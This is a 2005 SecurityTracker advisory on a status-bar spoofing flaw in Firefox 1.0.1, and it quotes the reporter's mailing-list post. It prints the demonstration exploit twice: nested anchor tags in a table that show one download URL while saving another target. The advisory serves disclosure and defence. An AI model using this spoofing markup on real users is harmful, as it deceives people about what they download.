Firefox Link in Embedded Table Lets Remote Users Spoof the Status Bar Contents
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SecurityTracker Alert ID: 1013423
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SecurityTracker URL: http://securitytracker.com/id?1013423
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CVE Reference: GENERIC-MAP-NOMATCH
(Links to External Site)
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Date: Mar 14 2005
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Impact: Modification of system information, Modification of user information
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Exploit Included: Yes
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Version(s): 1.0.1
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Description: A spoofing vulnerability was reported in Firefox. A remote user can create HTML that, in certain cases, will spoof the status bar.
A remote user can create HTML with an A HREF link in a table, where the table is embedded within an A HREF tag. If the target user
selects to save the spoofed link using the "Save Link As" feature, arbitrary content will be saved to the target user's system.
A
demonstration exploit is provided:
<a href="http://www.mozilla.org/features_ff102.pdf">
<table><tr><td>
<a href="about:mozilla">download
: http://www.mozilla.org/features_ff102.pdf
</a><!-- first -->
</td></tr></table>
</a><!-- second -->
</div>
bitlance winter
reported this vulnerability.
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Impact: A remote user can spoof the status bar contents.
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Solution: No solution was available at the time of this entry.
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Vendor URL: www.mozilla.org/products/firefox/ (Links to External Site)
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Cause: Input validation error, State error
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Underlying OS: Linux (Any), UNIX (Any), Windows (Any)
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Reported By: "bitlance winter" <bitlance_3@hotmail.com>
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Message History:
None.
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Source Message Contents
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Date: Sun, 13 Mar 2005 15:56:35 +0000
From: "bitlance winter" <bitlance_3@hotmail.com>
Subject: [Full-disclosure] Firefox 1.01 : spoofing status bar without using
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Hi LIST.
It is a sample of 'Firefox 1.01 : spoofing status bar without using
JavaScript'.
It is a known issue in my country.
[h1>Firefox 1.01 : spoofing status bar without using JavaScript[/h1>
[p>Save the New Features about Firefox 1.02 ( PDF 20K )[/p>
[p>Right Click and Save Link as ...[p>
[div>
[a href="http://www.mozilla.org/features_ff102.pdf">
[table>[tr>[td>
[a href="about:mozilla">download : http://www.mozilla.org/features_ff102.pdf
[/a>[!-- first -->
[/td>[/tr>[/table>
[/a>[!-- second -->
[/div>
Regards.
--
bitlance winter
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